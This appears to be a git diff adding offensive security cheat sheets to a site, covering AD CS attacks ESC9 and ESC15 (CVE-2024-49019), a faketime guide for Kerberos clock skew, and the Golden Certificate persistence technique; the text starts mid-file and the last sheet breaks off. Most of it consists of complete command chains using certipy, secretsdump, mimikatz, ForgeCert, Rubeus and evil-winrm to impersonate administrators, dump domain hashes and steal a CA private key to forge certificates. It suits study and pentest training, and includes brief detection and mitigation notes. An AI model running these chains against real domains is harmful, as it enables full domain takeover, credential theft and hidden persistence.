<NTHASH> +``` + +*** + +## ESC9b — DNS SAN Variant (Machine Account Impersonation) + +For machine account impersonation, swap `dNSHostName` instead of UPN: + +```bash +# Step 1: Clear SPNs on controlled machine account +certipy-ad account \ + -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -user 'EVILPC$' -spn-clear update + +# Step 2: Swap dNSHostName to DC hostname +certipy-ad account \ + -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -user 'EVILPC$' \ + -dns 'DC01.domain.htb' update + +# Step 3: Request Machine cert from ESC9 template +certipy-ad req \ + -u 'EVILPC$@domain.htb' -p 'EvilPass!' \ + -dc-ip $TARGET -ca 'DOMAIN-CA-NAME' \ + -template 'ESC9-Template' + +# Step 4: Restore dNSHostName +certipy-ad account \ + -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -user 'EVILPC$' \ + -dns 'EVILPC.domain.htb' update + +# Step 5: Authenticate as DC01$ +certipy-ad auth -pfx 'dc01.pfx' -username 'DC01$' \ + -domain domain.htb -dc-ip $TARGET + +# Step 6: DCSync +export KRB5CCNAME='DC01$.ccache' +secretsdump.py -k -no-pass DC01.domain.htb +``` + +*** + +## ESC9 vs ESC16 + +| | ESC9 | ESC16 | +|---|---|---| +| **Flag location** | Per-template `msPKI-Enrollment-Flag` | CA-wide `DisableExtensionList` | +| **Templates affected** | One specific template | Every template on that CA | +| **`StrongCertificateBindingEnforcement = 2` blocks it?** | ✅ Yes | ❌ No — SID never embedded at source | +| **Certipy detection** | Template-level ESC9 flag | CA-level ESC16 flag | +| **Attack chain** | UPN/DNS swap → req → restore | UPN/DNS swap → req → restore (identical) | + +*** + +## ESC9 Mitigation + +- **Remove `CT_FLAG_NO_SECURITY_EXTENSION`** from any template that has it set — there is no legitimate business reason to disable SID embedding on a per-template basis +- **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — enforces SID validation, breaking ESC9 +- **Audit `GenericWrite` ACEs** on accounts with enrollment rights — pre-condition for this entire attack class + +*** +*** + +# ESC15 — EKUwu (CVE-2024-49019) + +## What Is ESC15? + +ESC15, nicknamed **EKUwu**, was discovered by **Justin Bollinger at TrustedSec** in late September 2024 and assigned **CVE-2024-49019** by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — **it is not a misconfiguration**. It is a **software vulnerability in Microsoft's implementation of Application Policies in schema version 1 certificate templates**. + +Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes **Certificate Signing Requests (CSRs) against schema version 1 templates** — templates that Microsoft itself ships as defaults. The bug allows an attacker to **inject arbitrary Application Policy OIDs into their CSR** that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies. + +In practical terms: you enroll in a harmless default template, inject `Client Authentication` OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin. + +*** + +## Why Schema Version 1 Is Special + +The entire vulnerability hinges on a behavioural difference between schema versions: + +| Schema Version | Application Policy Behaviour | +|---|---| +| **Version 1** | CA accepts Application Policies **supplied in the CSR** — attacker controlled | +| **Version 2+** | CA ignores CSR-supplied Application Policies — uses only what's defined in the template | + +Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the `msPKI-Certificate-Application-Policy` attribute handling in v1 template processing. + +*** + +## Default Vulnerable Templates + +Because ESC15 targets schema version 1 templates, it can affect **default Microsoft-provided templates** — no admin misconfiguration required: + +| Template | Default Enrollment Rights | Notes | +|----------|--------------------------|-------| +| `WebServer` | Administrators | Common for internal HTTPS — often over-permissioned | +| `SubCA` | Administrators | ESC7 territory — admin enroll only | +| `CA` | Administrators | Same | +| `User` | Domain Users | ⚠️ **High risk** — every domain user can enroll | +| `Machine` | Domain Computers | ⚠️ **High risk** — every machine can enroll | +| `DomainController` | Domain Controllers | DC certs | + +> 💡 The `User` and `Machine` templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Template uses **Schema Version 1** | Check `Schema Version: 1` in certipy output | +| Template has **`Enrollee Supplies Subject`** enabled | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` — same as ESC1 | +| Low-priv users can enroll | Standard enrollment rights check | +| **Unpatched** (pre-November 2024 KB5044281) | Check patch status | + +> 💡 ESC15 was patched by Microsoft in **November 2024 (KB5044281)**. The patch restricts Application Policy injection in CSRs for schema version 1 templates. Always verify patch status before attempting. + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# Check for ESC15 specifically — look for Schema Version 1 + Enrollee Supplies Subject +# Certipy will flag this as ESC15 in vulnerable output +``` + +### What Vulnerable ESC15 Output Looks Like + +``` +Certificate Templates + Template Name : User + Schema Version : 1 ← KEY: Schema V1 + Enabled : True + Client Authentication : False ← Not required! You'll inject it + Enrollee Supplies Subject : True ← Needed for subject control + Requires Manager Approval : False + Authorized Signatures Required : 0 + Permissions + Enrollment Rights : DOMAIN\Domain Users + +[!] Vulnerabilities + ESC15 : Template schema version is 1 and the template allows the + enrollee to supply the subject and an application policy +``` + +*** + +## Full Attack Chain — Linux (Certipy) + +Certipy's ESC15 support was added after TrustedSec's disclosure. The key flag is `-application-policies` which injects the arbitrary OID into the CSR. + +### Step 1 — Request Cert with Injected Application Policy + Spoofed Subject + +```bash +# Inject Client Authentication OID + specify Administrator as subject +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -upn 'administrator@domain.htb' \ + -application-policies 'Client Authentication' + +# Output: administrator.pfx +``` + +**What Certipy does under the hood:** +- Builds a CSR for the `User` template (schema v1) +- Injects `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) into `Application Policies` extension of the CSR +- Sets `SubjectAltName: UPN = administrator@domain.htb` +- CA honours both — issues cert with Client Auth EKU AND Administrator UPN + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 14 +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Certificate object SID is 'S-1-5-21-...-500' +[*] Saving certificate and private key to 'administrator.pfx' +``` + +> 💡 Unlike ESC9/ESC16, Certipy may report an `objectSid` here if the CA is patched — in that case ESC15 will be blocked at auth time. The absence of `Certificate has no object SID` in the output is actually a good sign — it means the cert is stronger. + +*** + +### Step 2 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +*** + +### Step 3 — Shell + +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i DC01.domain.htb -r domain.htb +evil-winrm -i $TARGET -u administrator -H <NTHASH> +``` + +*** + +## Extended ESC15 Use Cases — Beyond Client Auth + +TrustedSec's research showed ESC15 is more dangerous than ESC2 in some respects because you can inject **any** Application Policy OID: + +```bash +# Code signing certificate — forge software signatures +certipy-ad req ... -application-policies 'Code Signing' + +# Smart Card Logon +certipy-ad req ... -application-policies 'Smart Card Logon' + +# Enrollment Agent (bridges into ESC3 territory) +certipy-ad req ... -application-policies 'Certificate Request Agent' + +# Any Purpose — like ESC2 +certipy-ad req ... -application-policies 'Any Purpose' +``` + +Each of these opens a completely different post-exploitation path from the same single vulnerability. + +*** + +## Windows Attack Chain (Certify.exe + Custom CSR) + +```powershell +# ESC15 from Windows requires crafting a custom CSR with injected Application Policy +# TrustedSec released BOFs (Beacon Object Files) for this + +# Using their adcs_request BOF in Cobalt Strike: +adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2" + +# Or using the updated Certify fork from TrustedSec +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User \ + /altname:administrator /applicationpolicies:"Client Authentication" + +# Convert and authenticate as per ESC1 flow +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap +``` + +*** + +## ESC15 vs ESC1 and ESC2 + +| | ESC1 | ESC2 | **ESC15** | +|---|---|---|---| +| **Root cause** | Template misconfiguration | Template misconfiguration | **Software bug in schema v1** | +| **Admin misconfiguration required?** | ✅ | ✅ | ❌ **No — default templates vulnerable** | +| **Injects EKU via** | Template has it pre-set | Template has Any Purpose | **CSR at request time** | +| **CVE assigned** | No | No | **CVE-2024-49019** | +| **Patched** | No patch | No patch | ✅ **November 2024 KB5044281** | +| **Can inject arbitrary EKUs?** | ❌ | ❌ | ✅ | +| **Schema version required** | Any | Any | **Version 1 only** | +| **Discovered by** | SpecterOps | SpecterOps | **TrustedSec (Justin Bollinger)** | + +*** + +## ESC9 vs ESC16 vs ESC15 — The No-SID Cluster + +These three attacks are closely related and often confused: + +| | ESC9 | ESC16 | ESC15 | +|---|---|---|---| +| **No SID in cert?** | ✅ (template flag) | ✅ (CA-wide flag) | ❌ (SID may be present) | +| **Requires UPN swap?** | ✅ | ✅ | ❌ (inject UPN directly) | +| **Template version dependency** | Any | Any | **Schema V1 only** | +| **Bypasses `StrongCertificateBindingEnforcement = 2`?** | ❌ | ✅ | ❌ | +| **Patched by Microsoft?** | Partially | No specific patch | ✅ KB5044281 | + +*** + +## Detection Indicators + +**ESC9:** +- **Event ID 4738** — UPN modification on an account followed immediately by a cert request then another UPN modification +- **Event ID 4887** — Certificate issued where UPN differs from account's permanent UPN + +**ESC15:** +- **Event ID 4887** — Certificate issued with `Client Authentication` EKU from a template (`User`, `Machine`) that doesn't have that EKU defined in its configuration +- **CSR inspection** — Monitor for CSRs containing `Application Policies` extensions not matching the requested template's defined policies +- **Microsoft Defender for Identity** — Has built-in ESC15 detection post-patch + +*** + +## Mitigation + +**ESC9:** +- Remove `CT_FLAG_NO_SECURITY_EXTENSION` from any template that has it +- Set `StrongCertificateBindingEnforcement = 2` +- Audit `GenericWrite` ACEs on accounts with enrollment rights + +**ESC15:** +- **Apply KB5044281** (November 2024 patch) — direct fix +- **Migrate schema v1 templates to v2+** — removes the vulnerable code path entirely: + ```powershell + # In CA MMC: Template Properties → Compatibility tab + # Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later + # This upgrades template to schema version 2 + ``` +- **Restrict enrollment rights** on `User` and `Machine` templates — removing `Domain Users` from enrollment rights is the single fastest interim mitigation +- **Audit schema version 1 templates** in your environment: + ```powershell + Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \ + -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * + ``` + +*** + +The ESC series is now comprehensively covered from ESC1 through ESC17 Netrunner. Where to next? + +Sources + ESC9 Privilege Escalation| ADCS Attack Series https://www.youtube.com/watch?v=pO1WA18apwo + ADCS ESC9 – No Security Extension - Hacking Articles https://www.hackingarticles.in/adcs-esc9-no-security-extension/ + ADCS Attack Paths in BloodHound — Part 3 - Blog - SpecterOps https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac + ESC15 (EKUwu)/CVE-2024-49019: Vulnerability in AD CS EKU ... https://www.cycraft.com/en/post/esc15-2024-49019-en-20250908 + EKUwu: Not just another AD CS ESC - TrustedSec https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc + ESC15: The Evolution of ADCS Attacks https://abrictosecurity.com/esc15-the-evolution-of-adcs-attacks/ + Understanding ESC15: A New Privilege Escalation Vulnerability in ... https://www.precedecyber.com/blog/understanding-esc15-a-new-privilege-escalation-vulnerability-in-active-directory-certificate-services-adcs + ESC15 Vulnerability: Identifying and Protecting Your AD CS PKI https://www.ravenswoodtechnology.com/esc15-vulnerability/ + An Expert Guide to Fortifying Active Directory Certificate Services ... https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ + Preventing Privilege Escalation via Active Directory Certificate ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/ + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html + ESC9 - WIP - Pentest Everything - GitBook https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc9-wip + ADCS Attacks Course - HTB Academy https://academy.hackthebox.com/course/preview/adcs-attacks + Certificate templates | The Hacker Recipes https://www.thehacker.recipes/ad/movement/adcs/certificate-templates diff --git a/src/content/sheets/active-directory/faketime.md b/src/content/sheets/active-directory/faketime.md @@ -0,0 +1,223 @@ +--- +title: "faketime" +description: "sudo apt install faketime # ships as libfaketime" +category: active-directory +tags: ["active-directory", "kerberos"] +tools: ["Nmap", "NetExec", "Impacket", "Certipy", "BloodHound"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/faketime-cheatsheet.md" +--- +# Faketime Cheat Sheet — Beating Kerberos Clock Skew + +> [!info] The problem +> Kerberos rejects requests whose timestamp differs from the DC by more than the allowed skew window (default **5 minutes**). You see: +> ``` +> Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) +> ``` +> Rather than change your host clock (which breaks other things), wrap the *one* tool that needs it with `faketime`. + +```bash +sudo apt install faketime # ships as libfaketime +``` + +`faketime` intercepts time calls (`gettimeofday`, `clock_gettime`) via `LD_PRELOAD` for the wrapped process only. Your system clock stays untouched. + +--- + +## Table of Contents + +1. [Measuring the Skew](#1-measuring-the-skew) +2. [Faketime Offset Syntax](#2-faketime-offset-syntax) +3. [The 7h30m Worked Example](#3-the-7h30m-worked-example) +4. [Wrapping the Tools](#4-wrapping-the-tools) +5. [Absolute-Time Method (ntpdate)](#5-absolute-time-method-ntpdate) +6. [Questions & Answers](#6-questions--answers) +7. [Gotchas](#7-gotchas) + +--- + +## 1. Measuring the Skew + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A[nmap clock-skew<br/>or ntpdate -q] --> B{Skew > 5 min?} + B -->|No| C[Run tool normally] + B -->|Yes| D[faketime wrapper] + D --> E[Kerberos auth succeeds] +``` + +**nmap** reports skew directly on many AD services: + +```bash +nmap -p 445,88 --script smb2-time,clock-skew -Pn dc01.corp.local +# ... | clock-skew: mean: 7h30m00s, deviation: 0s, median: 7h30m00s +``` + +Or query the DC's time straight (needs `ntpdate` / `ntpsec-ntpdate`): + +```bash +ntpdate -q dc01.corp.local # prints offset in seconds, e.g. "offset 27000.0..." +sudo ntpdate -u dc01.corp.local # actually sync (alternative to faketime) +rdate -n dc01.corp.local # another quick reader +``` + +> [!tip] Sign matters +> nmap's clock-skew is **DC minus you**. `7h30m` positive = the DC is *ahead* of you, so you must push your faked clock **forward** (`+7h30m`). If the DC is *behind*, go backward (`-7h30m`). + +--- + +## 2. Faketime Offset Syntax + +`faketime` takes a timestamp specifier as its first argument, then the command: + +```bash +faketime '<time-spec>' <command> [args...] +``` + +Relative offsets use a leading `+` or `-` and unit suffixes: + +| Unit | Meaning | +| :-- | :-- | +| `s` | seconds | +| `m` | minutes | +| `h` | hours | +| `d` | days | +| `y` | years | + +```bash +faketime '+7h30m' <cmd> # 7 hours 30 minutes into the future +faketime '-7h30m' <cmd> # 7 hours 30 minutes into the past +faketime '+27000s' <cmd> # same as +7h30m, in raw seconds +faketime '-1h' <cmd> # one hour back +``` + +> [!note] `-f` for programs that fork/exec +> Many pentest tools spawn children or advance their own clock. Add `-f` (follow) so the faked time propagates to child processes: +> ```bash +> faketime -f '+7h30m' certipy-ad find ... +> ``` +> Use `-f` by default when wrapping Python/impacket tooling. + +--- + +## 3. The 7h30m Worked Example + +Scenario: `nmap` shows `clock-skew: median: 7h30m00s` and the DC is **ahead**. + +```bash +# 1. Confirm direction and magnitude +nmap -p 445 --script smb2-time,clock-skew -Pn 10.10.10.5 + +# 2. Everything Kerberos-related now gets the wrapper: +faketime -f '+7h30m' <your-kerberos-tool> + +# If the DC were 7h30m BEHIND you instead: +faketime -f '-7h30m' <your-kerberos-tool> +``` + +That single prefix is all that changes — the tool itself is invoked exactly as normal after it. + +--- + +## 4. Wrapping the Tools + +> [!warning] Wrap the process that talks Kerberos +> Prefix `faketime -f '<offset>'` directly onto the command. Do **not** pipe or subshell it away. + +### Certipy (AD CS / ESC attacks) + +```bash +# Enumerate templates over Kerberos with skew correction +faketime -f '+7h30m' certipy-ad find -u 'user@corp.local' -p 'Passw0rd!' \ + -dc-ip 10.10.10.5 -k -no-pass -vulnerable -stdout + +# Request a cert (ESC1) with a fake time +faketime -f '+7h30m' certipy-ad req -u 'user@corp.local' -p 'Passw0rd!' \ + -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@corp.local' \ + -dc-ip 10.10.10.5 + +# Authenticate with the resulting PFX (PKINIT) — also needs correct time +faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.5 +``` + +### bloodhound-ce-python (collection over Kerberos) + +```bash +# Collect using a Kerberos ticket (ccache) with skew correction +faketime -f '+7h30m' bloodhound-ce-python -d corp.local -u user -k -no-pass \ + -dc dc01.corp.local -ns 10.10.10.5 -c All --zip +``` + +See bloodhound-ce-python-cheatsheet for the full flag set. + +### Impacket (secretsdump, GetUserSPNs, psexec, wmiexec) + +```bash +export KRB5CCNAME=user.ccache +faketime -f '+7h30m' impacket-GetUserSPNs -k -no-pass -dc-host dc01.corp.local corp.local/user +faketime -f '+7h30m' impacket-secretsdump -k -no-pass corp.local/user@dc01.corp.local +faketime -f '+7h30m' impacket-getTGT corp.local/user:'Passw0rd!' -dc-ip 10.10.10.5 +``` + +### netexec / evil-winrm + +```bash +faketime -f '+7h30m' netexec smb dc01.corp.local -u user -p 'Passw0rd!' -k +faketime -f '+7h30m' evil-winrm -i dc01.corp.local -u administrator -r corp.local +``` + +--- + +## 5. Absolute-Time Method (ntpdate) + +Instead of computing an offset, pin faketime to the DC's *actual* clock. This auto-corrects magnitude **and** direction: + +```bash +# Grab the DC's current time and hand it straight to faketime +faketime -f "$(sudo ntpdate -q dc01.corp.local | head -n1 | awk '{print $1, $2}')" \ + certipy-ad find -u 'user@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.5 -k +``` + +> [!tip] When to use which +> **Relative (`+7h30m`)** is fastest when nmap already gave you the skew. **Absolute (ntpdate)** is safer when you're unsure of the direction or the skew is odd (leap seconds, wrong timezone on your box). + +--- + +## 6. Questions & Answers + +### Q: nmap says `clock-skew: median: 7h30m00s`. What faketime prefix do I use? +**Approach:** nmap reports DC-minus-you; a positive value means the DC is ahead. +```bash +faketime -f '+7h30m' <tool> +``` +**Answer:** `+7h30m` (if the DC is ahead). Use `-7h30m` if it's behind. + +### Q: I keep getting `KRB_AP_ERR_SKEW` even with faketime. Why? +**Answer:** Likely missing `-f`, wrong sign, or your host timezone is off. Confirm with `sudo ntpdate -q <dc>` and prefer the absolute-time method (§5). + +### Q: Does faketime change my real system clock? +**Answer:** No. It only alters what the wrapped process sees via `LD_PRELOAD`. Everything else stays on real time. + +### Q: Can I just run `ntpdate` to sync instead? +**Answer:** Yes — `sudo ntpdate -u dc01.corp.local` syncs your whole host. It's simpler but affects every process and needs root; faketime is surgical and rootless. + +--- + +## 7. Gotchas + +> [!warning] Common pitfalls +> - **Forgot `-f`** — child/fork'd processes (most Python tools) don't inherit the fake clock without it. +> - **Wrong sign** — pushing the clock the wrong way doubles the skew instead of cancelling it. +> - **Timezone drift** — if your host TZ is wrong, the seconds offset can look bizarre; use absolute time. +> - **Statically linked binaries** — faketime relies on `LD_PRELOAD`, so it can't hook fully static binaries (rare for pentest tooling). +> - **Wrapping a shell, not the tool** — `faketime -f '+7h30m' bash -c '...'` works, but prefix the actual tool where possible. + +--- + +## See Also + +- bloodhound-ce-python-cheatsheet — CE collector, all with faketime notes +- BloodHound-Python_Cheatsheet — legacy BloodHound python collector +- Kerberos — tickets, roasting, PKINIT diff --git a/src/content/sheets/active-directory/golden-certificate-attack-dpersist1.md b/src/content/sheets/active-directory/golden-certificate-attack-dpersist1.md @@ -0,0 +1,325 @@ +--- +title: "Golden Certificate Attack — DPERSIST1" +description: "The Golden Certificate Attack is a domain persistence technique — not a privilege escalation. By the time you execute this attack, you have already fully…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "privilege-escalation", "persistence"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/Golden Certificate Attack — DPERSIST1.md" +--- +# Golden Certificate Attack — DPERSIST1 + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Domain Persistence | +| **Difficulty** | Easy (post-compromise) | +| **Pre-requisites** | Local admin on CA server + software-protected CA key (no HSM) | +| **Tools** | Certipy (backup/forge), ForgeCert, Mimikatz, SharpDPAPI | +| **OPSEC Noise** | Low — forged certs generate zero CA logs | +| **MITRE ATT&CK** | T1649 — Steal or Forge Authentication Certificates | +| **One-liner** | Extract CA private key → forge certificates offline for any user indefinitely → authenticate with forged cert. | + +*** + +## What Is the Golden Certificate Attack? + +The Golden Certificate Attack is a **domain persistence technique** — not a privilege escalation. By the time you execute this attack, you have already fully compromised the domain. The goal is to ensure that **even if every password in the domain is reset, every account is disabled, and every other backdoor is removed, you can still authenticate as any user you want — indefinitely**. + +The analogy to the Golden Ticket attack is exact and intentional: + +| | Golden Ticket | Golden Certificate | +|---|---|---| +| **What is stolen** | `krbtgt` account hash | CA certificate + private key | +| **What is forged** | Kerberos TGT | X.509 certificate | +| **Signed by** | KRBTGT secret key | CA private key | +| **Impersonate any user** | ✅ | ✅ | +| **Validity period** | Set by attacker (years) | Set by attacker (decades) | +| **Revoked by password reset** | ✅ Rotating `krbtgt` hash invalidates tickets | ❌ **Certificate is still valid — CA private key never changes** | +| **Revoked by account deletion** | ✅ | ❌ **Forged cert has no dependency on AD object** | +| **MITRE ATT&CK** | T1558.001 | **T1649 — Steal or Forge Authentication Certificates** | + +The devastating reality: **there is no easy recovery from a stolen CA private key short of revoking the entire CA and re-issuing every certificate in the domain**. This is why Golden Certificates are one of the most dangerous persistence techniques in the ADCS attack catalogue. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| **Local admin on the CA server** | This is a post-exploitation / persistence technique — you need to have already compromised the domain | +| CA private key is software-protected | If stored in an HSM (Hardware Security Module), certipy backup will fail — HSMs are specifically designed to prevent key extraction | +| CA certificate is accessible | Almost always true — it's stored in the CA's certificate store and in AD | + +*** + +## Understanding CA Key Storage + +Before extracting, understand where the private key lives: + +``` +Default (software key): + %SystemRoot%\System32\CertSvc\CertEnroll\ + Backed by DPAPI (Data Protection API) + → Certipy can extract automatically with local admin + +HSM-protected key: + Stored in physical HSM device + → Private key CANNOT be extracted + → Golden Certificate attack is NOT possible + → Check with: certutil -getkey <CA-Name> +``` + +*** + +## Step 0 — Confirm Local Admin on CA + +```bash +# Verify local admin access to the CA server +netexec smb <CA-IP> -u 'administrator' -p 'Password123!' +netexec smb <CA-IP> -u 'administrator' -H :NTHASH --local-auth + +# If the CA is on the DC (most common in lab environments) +netexec smb $TARGET -u 'administrator' -H :ADMIN_NTHASH +``` + +*** + +## Step 1 — Extract the CA Certificate and Private Key + +Certipy's `backup` command does the heavy lifting — it automatically dumps the CA cert and private key from the CA server using DPAPI: + +```bash +# From Linux with domain admin credentials +certipy-ad backup \ + -u 'administrator@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -target <CA-IP> + +# With NT hash +certipy-ad backup \ + -u 'administrator@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET \ + -target <CA-IP> +``` + +**Expected output:** +``` +[*] Creating backup of 'DOMAIN-CA' +[*] Got certificate and private key of 'DOMAIN-CA' +[*] Saving certificate and private key to 'DOMAIN-CA.pfx' +[*] Done! +``` + +> ⚠️ **Protect `DOMAIN-CA.pfx` with your life.** This file IS your persistent access to the entire domain. Store it encrypted. Do not leave it on the target machine. + +*** + +## Alternative Extraction Methods + +### Method A — Mimikatz (on the CA server directly) + +```powershell +# On the CA server as local admin +mimikatz.exe + +# Dump the CA private key via DPAPI + crypto +lsadump::lsa /patch +crypto::capi +crypto::cng +crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export +``` + +### Method B — SharpDPAPI (DPAPI-based extraction) + +```powershell +# Extract CA private key using machine DPAPI masterkey +.\SharpDPAPI.exe certificates /machine +``` + +### Method C — certutil (native Windows, stealthy) + +```powershell +# Export CA cert + private key to PFX from CA server +certutil -exportPFX -p "ExportPassword" My <CA-thumbprint> C:\Windows\Temp\ca.pfx +``` + +### Method D — Remote registry via Impacket + +```bash +# If you can access the CA remotely but don't have a shell +secretsdump.py 'domain.htb/administrator:Password123!'@<CA-IP> -just-dc-ntlm +# Then use the extracted DPAPI keys to decrypt the CA key offline +``` + +*** + +## Step 2 — Forge a Golden Certificate for Any User + +With the CA cert and private key in hand, you can now **sign certificates offline** for any user in the domain — no CA interaction required: + +```bash +# Forge a certificate for Administrator +certipy-ad forge \ + -ca-pfx 'DOMAIN-CA.pfx' \ + -upn 'administrator@domain.htb' \ + -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' + +# Output: administrator_forged.pfx + +# Forge for any user — domain admin, service account, etc. +certipy-ad forge \ + -ca-pfx 'DOMAIN-CA.pfx' \ + -upn 'krbtgt@domain.htb' \ + -subject 'CN=krbtgt,CN=Users,DC=domain,DC=htb' + +# Forge with custom validity — set it to 10 years +certipy-ad forge \ + -ca-pfx 'DOMAIN-CA.pfx' \ + -upn 'administrator@domain.htb' \ + -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' \ + -validity 3650 # Days — 10 years +``` + +**Expected output:** +``` +[*] Forging certificate +[*] Saving forged certificate and private key to 'administrator_forged.pfx' +[*] Done! +``` + +> 💡 The forged certificate is **cryptographically signed by the real CA private key** — it is indistinguishable from a legitimately issued certificate. No request was ever sent to the CA. No event logs were generated. No request ID exists. + +*** + +## Step 3 — Authenticate with the Forged Certificate + +```bash +certipy-ad auth \ + -pfx administrator_forged.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +*** + +## Step 4 — Shell / DCSync + +```bash +# Kerberos TGT +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +secretsdump.py -k -no-pass DC01.domain.htb + +# Pass-the-Hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +``` + +*** + +## The Full Offline Workflow (No CA Contact Required) + +This is what makes the Golden Certificate so powerful — **Steps 2–4 are entirely offline**: + +``` +[ONLINE — requires CA access] [OFFLINE — no network needed] +───────────────────────────── ────────────────────────────── +certipy backup → DOMAIN-CA.pfx ──────► certipy forge → forged.pfx + (sign any cert, any user, + any validity, anytime, + on any machine, + forever) + certipy auth → TGT + hash +``` + +You extract the CA key **once**, exfiltrate it **once**, and then forge certificates **indefinitely** from your own machine with zero interaction with the target domain. + +*** + +## Windows Equivalent — ForgeCert + +```powershell +# ForgeCert by SpecterOps — Windows equivalent of certipy forge +.\ForgeCert.exe \ + --CaCertPath DOMAIN-CA.pfx \ + --CaCertPassword "" \ + --Subject "CN=FakeCert" \ + --SubjectAltName "administrator@domain.htb" \ + --NewCertPath forged_admin.pfx \ + --NewCertPassword "NewPassword" + +# Authenticate with Rubeus +.\Rubeus.exe asktgt \ + /user:administrator \ + /certificate:forged_admin.pfx \ + /password:"NewPassword" \ + /getcredentials \ + /nowrap +``` + +*** + +## Golden Certificate vs Golden Ticket — Persistence Comparison + +| Factor | Golden Ticket | Golden Certificate | +|--------|--------------|-------------------| +| **Killed by** | Rotating `krbtgt` hash **twice** | Revoking the **entire CA** | +| **Affected by account deletion** | ✅ (if PAC validation enforced) | ❌ Cert has no dependency on AD object | +| **Affected by password reset** | ✅ (in theory) | ❌ Cert still valid | +| **Offline forgery** | ✅ | ✅ | +| **Evidence of initial extraction** | LSASS memory access / DCSync | DPAPI access on CA server | +| **Evidence of forged usage** | Unusual TGT lifetime, missing PAC data | ⚠️ Very minimal — only auth event | +| **Difficulty to detect** | Medium | **Hard** | +| **Difficulty to recover from** | Medium (two krbtgt resets) | **Very Hard (full CA rebuild)** | + +*** + +## Detection Indicators + +- **Certipy backup usage** — `secretsdump`-style DPAPI access on the CA server: look for unexpected access to `%SystemRoot%\System32\CertSvc\CertEnroll\` +- **Event ID 70** on the CA — CA certificate exported +- **Forged cert usage** — Watch for PKINIT authentication (Event ID 4768 with pre-auth type `16`) where the certificate serial number **does not exist** in the CA's issued certificate database +- **Certificate serial number mismatch** — The forged cert will have a serial number never recorded by the CA — monitor CA issued cert logs against auth events +- **BloodHound** — `GoldenCert` edge from a compromised principal to the CA object + +*** + +## Mitigation + +- **Protect CA private key with an HSM** — Hardware Security Modules physically prevent key extraction; this is the single most effective countermeasure +- **Harden CA server access** — Treat the CA server with the same security level as a Domain Controller: restrict local admin, no unnecessary software, dedicated admin accounts only +- **Monitor DPAPI access** on the CA server — unexpected access to the certificate store outside of scheduled CA operations is a red flag +- 